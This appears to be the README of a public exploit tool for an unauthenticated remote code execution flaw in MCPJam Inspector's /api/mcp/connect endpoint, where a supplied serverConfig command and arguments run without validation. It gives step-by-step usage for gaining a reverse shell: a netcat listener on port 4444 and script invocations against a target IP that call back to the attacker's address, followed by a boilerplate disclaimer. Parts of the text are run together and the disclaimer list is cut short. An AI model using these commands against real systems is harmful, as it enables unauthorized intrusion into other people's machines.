alisster00/cve-2026-23744-rceThis utility was created during research involving MCPJam v1.4.2. The application exposes an API endpoint that accepts a server configuration object. Under certain conditions, insufficient validation may allow unintended command execution.
MCPJam Inspector contains an unauthenticated Remote Code Execution (RCE) vulnerability in the /api/mcp/connect endpoint. The vulnerability allows attackers to execute arbitrary commands by sending a malicious MCP server configuration payload.
The endpoint accepts a JSON payload with a serverConfig object containing a command and args array, which are executed directly on the system without proper validation or sanitization.
requests library: pip install requestsnetcat or socat for listenerTerminal 1 - Start Listener:
nc -lvnp 4444
Terminal 2 - Run Exploit:
python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 4444
# Default (port 6274, callback port 4444)
python3 script.py <TARGET_IP> -l <YOUR_IP>
# Custom MCPJam port
python3 script.py <TARGET_IP> -p 6274 -l <YOUR_IP>
# Custom listener port
python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 5555
/api/mcp/connect endpoint⚠️ DISCLAIMER:
This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Users are solely responsible for:
The author assumes no liability for misuse or damages caused by this tool. Use at your own risk.
/api/mcp/connect